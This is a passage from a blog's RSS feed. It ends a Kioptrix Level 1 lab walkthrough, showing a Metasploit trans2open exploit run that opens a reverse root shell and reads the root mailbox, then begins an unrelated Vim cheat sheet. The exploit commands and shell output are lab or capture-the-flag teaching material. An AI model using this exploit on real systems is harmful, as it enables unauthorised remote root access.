&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;msf exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;trans2open&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; run

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2015.12.20-21:05:39] Started reverse handler on 192.168.221.139:4444
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2015.12.20-21:05:40] Trying &lt;span class=&quot;k&quot;&gt;return &lt;/span&gt;address 0xbffffdfc...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2015.12.20-21:05:41] Trying &lt;span class=&quot;k&quot;&gt;return &lt;/span&gt;address 0xbffffcfc...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2015.12.20-21:05:42] Trying &lt;span class=&quot;k&quot;&gt;return &lt;/span&gt;address 0xbffffbfc...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2015.12.20-21:05:43] Trying &lt;span class=&quot;k&quot;&gt;return &lt;/span&gt;address 0xbffffafc...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Command shell session 1 opened &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;192.168.221.139:4444 -&amp;gt; 192.168.221.156:1025&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2015-12-20 21:05:44 &lt;span class=&quot;nt&quot;&gt;-0500&lt;/span&gt;


^Z
Background session 1? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/N]  N

&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;99&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nobody&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;hostname
&lt;/span&gt;kioptrix.level1
^Z
Background session 1? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/N]  y&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;root-flag&quot;&gt;Root Flag&lt;/h2&gt;

&lt;p&gt;Root Flag&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sh-2.05# &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /var/spool/mail
&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /var/spool/mail
sh-2.05# &lt;span class=&quot;nb&quot;&gt;ls
ls
&lt;/span&gt;harold
john
nfsnobody
root
sh-2.05# &lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;root   
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;root
From root  Sat Sep 26 11:42:10 2009
Return-Path: &amp;lt;root@kioptix.level1&amp;gt;
Received: &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;from root@localhost&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    by kioptix.level1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;8.11.6/8.11.6&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;id &lt;/span&gt;n8QFgAZ01831
    &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;root@kioptix.level1&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Sat, 26 Sep 2009 11:42:10 &lt;span class=&quot;nt&quot;&gt;-0400&lt;/span&gt;
Date: Sat, 26 Sep 2009 11:42:10 &lt;span class=&quot;nt&quot;&gt;-0400&lt;/span&gt;
From: root &amp;lt;root@kioptix.level1&amp;gt;
Message-Id: &amp;lt;200909261542.n8QFgAZ01831@kioptix.level1&amp;gt;
To: root@kioptix.level1
Subject: About Level 2
Status: O

If you are reading this, you got root. Congratulations.
Level 2 won&lt;span class=&quot;s1&quot;&gt;&apos;t be as easy...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

</description>
        </item>
        
      
    
      
        
        <item>
          <title>Vim Cheat Sheet + NEOVIM</title>
          <link>https://hacksofdhruv.me/blog/vi-cheat-sheet/</link>
          <pubDate>Tue, 19 Dec 2023 09:39:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>cheat-sheet</category>
          
          <category>Vim</category>
          
          <category>vi</category>
          
          <category>Linux</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/vi-cheat-sheet/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#vim-insert-mode--command-mode&quot; id=&quot;markdown-toc-vim-insert-mode--command-mode&quot;&gt;Vim Insert mode &amp;amp; Command Mode&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-insert-mode&quot; id=&quot;markdown-toc-vim-insert-mode&quot;&gt;Vim Insert Mode&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-command-mode&quot; id=&quot;markdown-toc-vim-command-mode&quot;&gt;Vim Command Mode&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vim-file-navigvation&quot; id=&quot;markdown-toc-vim-file-navigvation&quot;&gt;Vim File Navigvation&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#move-up-down-left-and-right-in-vim&quot; id=&quot;markdown-toc-move-up-down-left-and-right-in-vim&quot;&gt;Move up, down, left and right in Vim&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-page-down&quot; id=&quot;markdown-toc-vim-page-down&quot;&gt;Vim Page Down&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-half-a-page-down&quot; id=&quot;markdown-toc-vim-half-a-page-down&quot;&gt;Vim Half a Page Down&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-page-up&quot; id=&quot;markdown-toc-vim-page-up&quot;&gt;Vim Page Up&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-half-a-page-up&quot; id=&quot;markdown-toc-vim-half-a-page-up&quot;&gt;Vim Half a Page Up&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#more-advanced-ways-of-entering-insert-mode&quot; id=&quot;markdown-toc-more-advanced-ways-of-entering-insert-mode&quot;&gt;More Advanced Ways of Entering Insert Mode&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-insert-text-at-start-of-the-line&quot; id=&quot;markdown-toc-vim-insert-text-at-start-of-the-line&quot;&gt;Vim Insert Text at Start of the Line&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-insert-text-at-the-end-of-the-line&quot; id=&quot;markdown-toc-vim-insert-text-at-the-end-of-the-line&quot;&gt;Vim Insert Text at the end of the Line&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-append-text-to-the-right-of-the-cursor&quot; id=&quot;markdown-toc-vim-append-text-to-the-right-of-the-cursor&quot;&gt;Vim Append text to the right of the Cursor&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#begin-a-new-line-below&quot; id=&quot;markdown-toc-begin-a-new-line-below&quot;&gt;Begin a new line below&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-replace-line&quot; id=&quot;markdown-toc-vim-replace-line&quot;&gt;Vim replace line&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vim-replace&quot; id=&quot;markdown-toc-vim-replace&quot;&gt;Vim Replace&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#change-a-word-in-vim&quot; id=&quot;markdown-toc-change-a-word-in-vim&quot;&gt;Change a Word in Vim&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#replace-line-but-not-wrapped-text&quot; id=&quot;markdown-toc-replace-line-but-not-wrapped-text&quot;&gt;Replace line, but not wrapped text&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-replace-character&quot; id=&quot;markdown-toc-vim-replace-character&quot;&gt;Vim Replace Character&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-replace-1&quot; id=&quot;markdown-toc-vim-replace-1&quot;&gt;Vim Replace&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vim-delete&quot; id=&quot;markdown-toc-vim-delete&quot;&gt;Vim Delete&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-delete-single-character-after-the-cursor&quot; id=&quot;markdown-toc-vim-delete-single-character-after-the-cursor&quot;&gt;Vim Delete Single Character After the Cursor&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-delete-character-before-the-cursor&quot; id=&quot;markdown-toc-vim-delete-character-before-the-cursor&quot;&gt;Vim Delete Character before the Cursor&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-delete-word&quot; id=&quot;markdown-toc-vim-delete-word&quot;&gt;Vim Delete Word&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vim-delete-line-commands&quot; id=&quot;markdown-toc-vim-delete-line-commands&quot;&gt;Vim Delete Line commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-delete-line&quot; id=&quot;markdown-toc-vim-delete-line&quot;&gt;Vim Delete Line&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-delete-until-end-of-line&quot; id=&quot;markdown-toc-vim-delete-until-end-of-line&quot;&gt;Vim Delete until end of Line&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#delete-to-end-of-screen&quot; id=&quot;markdown-toc-delete-to-end-of-screen&quot;&gt;Delete to end of screen&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#delete-to-end-of-file&quot; id=&quot;markdown-toc-delete-to-end-of-file&quot;&gt;Delete to end of file&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-delete-from-cursor-to-start-of-line&quot; id=&quot;markdown-toc-vim-delete-from-cursor-to-start-of-line&quot;&gt;Vim Delete From Cursor To Start of Line&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vim-copy-and-paste&quot; id=&quot;markdown-toc-vim-copy-and-paste&quot;&gt;Vim Copy and Paste&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-copy-line&quot; id=&quot;markdown-toc-vim-copy-line&quot;&gt;Vim Copy Line&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-copy-3-lines-of-text&quot; id=&quot;markdown-toc-vim-copy-3-lines-of-text&quot;&gt;Vim Copy 3 Lines of Text&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-copy-word&quot; id=&quot;markdown-toc-vim-copy-word&quot;&gt;Vim Copy Word&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-copy-3-words&quot; id=&quot;markdown-toc-vim-copy-3-words&quot;&gt;Vim Copy 3 Words&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-paste-commands&quot; id=&quot;markdown-toc-vim-paste-commands&quot;&gt;Vim Paste Commands&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vim-search-commands&quot; id=&quot;markdown-toc-vim-search-commands&quot;&gt;Vim Search Commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-search-forward&quot; id=&quot;markdown-toc-vim-search-forward&quot;&gt;Vim Search forward&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-search-back&quot; id=&quot;markdown-toc-vim-search-back&quot;&gt;Vim Search Back&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vim-search-and-replace-commands&quot; id=&quot;markdown-toc-vim-search-and-replace-commands&quot;&gt;Vim Search and Replace Commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-search-and-replace-first-instance&quot; id=&quot;markdown-toc-vim-search-and-replace-first-instance&quot;&gt;Vim Search and Replace First Instance&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-search-and-replace-on-a-single-line&quot; id=&quot;markdown-toc-vim-search-and-replace-on-a-single-line&quot;&gt;Vim Search and Replace on a Single Line&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-search-and-replace-entire-file&quot; id=&quot;markdown-toc-vim-search-and-replace-entire-file&quot;&gt;Vim Search and Replace Entire File&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-search-for-part-of-a-word&quot; id=&quot;markdown-toc-vim-search-for-part-of-a-word&quot;&gt;Vim Search for part of a Word&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-search-for-words-ending-with-string&quot; id=&quot;markdown-toc-vim-search-for-words-ending-with-string&quot;&gt;Vim Search for words ending with $string&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-search-for-metacharacters&quot; id=&quot;markdown-toc-vim-search-for-metacharacters&quot;&gt;Vim Search for Metacharacters&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-exact-match-search-only&quot; id=&quot;markdown-toc-vim-exact-match-search-only&quot;&gt;Vim Exact Match Search Only&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-search-for-a-range-of-strings&quot; id=&quot;markdown-toc-vim-search-for-a-range-of-strings&quot;&gt;Vim Search for a range of Strings&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-search-for-upper-and-lowercase&quot; id=&quot;markdown-toc-vim-search-for-upper-and-lowercase&quot;&gt;Vim Search for Upper and Lowercase&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#advanced-vim-commands&quot; id=&quot;markdown-toc-advanced-vim-commands&quot;&gt;Advanced Vim commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-view-options&quot; id=&quot;markdown-toc-vim-view-options&quot;&gt;Vim View Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-run-shell-commands&quot; id=&quot;markdown-toc-vim-run-shell-commands&quot;&gt;Vim Run Shell Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-joining-lines&quot; id=&quot;markdown-toc-vim-joining-lines&quot;&gt;Vim Joining Lines&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-split-windows&quot; id=&quot;markdown-toc-vim-split-windows&quot;&gt;Vim Split Windows&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#vim-split-window-horizontally&quot; id=&quot;markdown-toc-vim-split-window-horizontally&quot;&gt;Vim Split Window Horizontally&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#vim-split-window-virtically&quot; id=&quot;markdown-toc-vim-split-window-virtically&quot;&gt;Vim Split Window Virtically&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-close-all-split-windows&quot; id=&quot;markdown-toc-vim-close-all-split-windows&quot;&gt;Vim Close All Split Windows&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vim-save-commands&quot; id=&quot;markdown-toc-vim-save-commands&quot;&gt;Vim Save commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#how-to-save-in-vim&quot; id=&quot;markdown-toc-how-to-save-in-vim&quot;&gt;How to Save in Vim&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-save-and-exit&quot; id=&quot;markdown-toc-vim-save-and-exit&quot;&gt;Vim Save and Exit&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#misc-vim-commands&quot; id=&quot;markdown-toc-misc-vim-commands&quot;&gt;Misc Vim Commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-undo-command&quot; id=&quot;markdown-toc-vim-undo-command&quot;&gt;Vim Undo Command&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vim-undo-all&quot; id=&quot;markdown-toc-vim-undo-all&quot;&gt;Vim Undo All&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vim-show-file-name&quot; id=&quot;markdown-toc-vim-show-file-name&quot;&gt;Vim Show File Name&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vim-multipliers&quot; id=&quot;markdown-toc-vim-multipliers&quot;&gt;Vim Multipliers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A collection of Vim commands in a cheat sheet, handy reference document for learning / remembering Vi commands. I refer to Vim / Vi as the same thing in this document, but in most modern Linux distros vi is often a symlink to vim. However, you may want to check out Neovim if you’re on a mac use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brew install neovim&lt;/code&gt; or your package manager of choice on Linux.&lt;/p&gt;

&lt;p&gt;Mac users will need to swap Ctrl for CMD, and deal with the additional annoyance of using their thumbs instead of their pinkie finger.&lt;/p&gt;

&lt;h2 id=&quot;vim-insert-mode--command-mode&quot;&gt;Vim Insert mode &amp;amp; Command Mode&lt;/h2&gt;

&lt;p&gt;Vim has two basic modes, &lt;strong&gt;insert mode&lt;/strong&gt; - used for entering text and &lt;strong&gt;command mode&lt;/strong&gt;, used for entering commands. See the tip section below for switching between each mode.&lt;/p&gt;

&lt;h3 id=&quot;vim-insert-mode&quot;&gt;Vim Insert Mode&lt;/h3&gt;

&lt;p&gt;Enter vi insert mode, insert mode is used for inserting text.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;i&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Enter insert mode from command mode.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Vim Command Mode - Vim Insert Mode&lt;/h5&gt;
  &lt;p&gt;Vim has two modes, &lt;b&gt;insert mode&lt;/b&gt; for inserting text and &lt;b&gt;command mode&lt;/b&gt; a common mistake is attempting to edit in command mode. If you are unsure on what mode Vim is using double tap escape (enters command mode) and then hit &quot;i&quot; if you wish to enter insert mode.&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-command-mode&quot;&gt;Vim Command Mode&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;Esc&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Hit escape to enter command mode.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;vim-file-navigvation&quot;&gt;Vim File Navigvation&lt;/h2&gt;

&lt;p&gt;Basic file navigation, how to move up, down, left and right.&lt;/p&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Arrow Keys&lt;/h5&gt;
  &lt;p&gt;Modern Vim / Vim editors will allow you to use the arrow keys, but it&apos;s worth learning the correct way to navigate vi without using the arrow keys in case you come across Vim command line or a shell that doesn&apos;t like arrow keys.&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;move-up-down-left-and-right-in-vim&quot;&gt;Move up, down, left and right in Vim&lt;/h3&gt;

&lt;p&gt;You’ll need to be in command mode for these commands, navigation in vim uses &lt;strong&gt;h&lt;/strong&gt; &lt;strong&gt;j&lt;/strong&gt; &lt;strong&gt;k&lt;/strong&gt; &lt;strong&gt;l&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;h&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Move left - easy to remember h key is on the left&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
    &lt;td&gt;
      &lt;p&gt;&lt;code&gt;j&lt;/code&gt;&lt;/p&gt;
    &lt;/td&gt;
    &lt;td&gt;
          &lt;p&gt;Move down - I remember it with j(d)own for down&lt;/p&gt;
    &lt;/td&gt;
  &lt;/tr&gt;

   &lt;tr&gt;
   &lt;td&gt;
     &lt;p&gt;&lt;code&gt;k&lt;/code&gt;&lt;/p&gt;
   &lt;/td&gt;
   &lt;td&gt;
         &lt;p&gt;Move up - k for up - I remember it with (k)up&lt;/p&gt;
   &lt;/td&gt;
 &lt;/tr&gt;

   &lt;tr&gt;
   &lt;td&gt;
   &lt;p&gt;&lt;code&gt;l&lt;/code&gt;&lt;/p&gt;
   &lt;/td&gt;
   &lt;td&gt;
       &lt;p&gt;Move right - l is on the right side of hjkl and moves you right&lt;/p&gt;
    &lt;/td&gt;
   &lt;/tr&gt;

    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-page-down&quot;&gt;Vim Page Down&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;Ctrl+F &lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim move forward a page&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-half-a-page-down&quot;&gt;Vim Half a Page Down&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;Ctrl+D &lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim move half a page down&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-page-up&quot;&gt;Vim Page Up&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;Ctrl+B &lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim move up a page&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-half-a-page-up&quot;&gt;Vim Half a Page Up&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;Ctrl+U &lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim move up half a page&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;more-advanced-ways-of-entering-insert-mode&quot;&gt;More Advanced Ways of Entering Insert Mode&lt;/h2&gt;

&lt;h3 id=&quot;vim-insert-text-at-start-of-the-line&quot;&gt;Vim Insert Text at Start of the Line&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;I&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Insert text at the beginning of the line&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-insert-text-at-the-end-of-the-line&quot;&gt;Vim Insert Text at the end of the Line&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;A&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
